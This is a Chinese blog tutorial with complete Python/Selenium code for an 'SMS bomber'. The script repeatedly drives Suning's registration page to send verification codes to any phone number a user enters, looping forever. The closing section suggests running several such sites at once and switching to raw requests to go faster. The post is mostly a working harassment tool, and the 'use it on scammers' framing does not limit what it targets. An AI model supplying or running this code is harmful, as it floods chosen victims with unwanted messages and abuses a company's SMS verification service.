使用Selennium实现短信轰炸机

前言

可以用来轰炸一下骗子,但最好不要乱用。初学Python,仅当学习。

 

seleniumChromeDriver的安装与配置

可参考这篇博客,这里不再赘述。

 

程序实现

短信轰炸机的原理是利用一些用手机号注册且需要发送验证码的网站的漏洞,可以向任何人的手机号发送短信,当然短信内容,我们无法控制。我们主要的工作还是寻找这样的网站。为了简单起见,找一个不需要验证码就能发短信的网站。

下面我以苏宁为例:

导入所需要的库:

from selenium import webdriver
import time

1.访问网站

 driver.get('https://reg.suning.com/person.do?safp=d488778a.homepage1.0.bfd0775775')

打开网站后会有一个弹框“同意并继续”,我们需要让程序自动点击按钮

在网页源码中找到按钮所对应的,可以使用Ctrl+F快捷键:

 

模拟点击

driver.find_element_by_xpath('//a[@id="js-login-new"]').click()

2.自动输入手机号

在网页源码中找到手机号码输入框所对应的代码

 

driver.find_element_by_xpath('//input[@id="mobileAlias"]').send_keys(self.phone)

3.自动点击获取短信验证码

在网页源码中找到获取验证码的按钮


 

button = driver.find_element_by_xpath('//a[@class="send-msg"]')
self.send_code(button,name)

到这里就实现了一个网页验证码的发送,如果有更多的需要就可以根据自己的需求多写一些啦。

4.短信的循环轰炸

写一个函数调用循环就好了

while(True):
            self.suning('苏宁')
            time.sleep(60)

5.完整代码

from selenium import webdriver
import time


chrome_driver = 'C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe'  #chromedriver的文件位置
driver = webdriver.Chrome(executable_path = chrome_driver)

class Hongzha:
    def __init__(self):
        self.phone = input("请输入手机号:")
        self.num = 0

    def send_code(self,button,name):
        button.click()
        self.num += 1
        print("{}  第{}次  发送成功  {}".format(self.phone, self.num, name))

    #苏宁接口
    def suning(self,name):
        driver.get('https://reg.suning.com/person.do?safp=d488778a.homepage1.0.bfd0775775')
        driver.implicitly_wait(10)
        driver.find_element_by_xpath('//a[@class="agree-btn"]').click()
        driver.find_element_by_xpath('//input[@id="mobileAlias"]').send_keys(self.phone)
        button = driver.find_element_by_xpath('//a[@class="send-msg"]')
        self.send_code(button,name)

    def main(self):
        while(True):
            self.suning('苏宁')
            time.sleep(60)

if __name__ == '__main__':
    print("--------------------SMS BomberV1.0------------------")
    print("程序简介:基于python的短信轰炸机")
    print("使用说明:电脑需安装Chrome浏览器以及Chromedriver插件")
    print("----------------------------------------------------")
    hongzha = Hongzha()
    hongzha.main()

 

总结

这个代码还有很多缺陷,比如网站有次数限制、60秒才能发送一次,相比较来说这种方法也比较慢的,下次可以尝试用post和get的方法来实现。当然,一个简单的方法就是找一些类似的网站,同时运行。

 

 

参考链接:https://zhuanlan.zhihu.com/p/58842473

posted @ 2019-03-16 18:22  Rogn  阅读(2084)  评论(0编辑  收藏  举报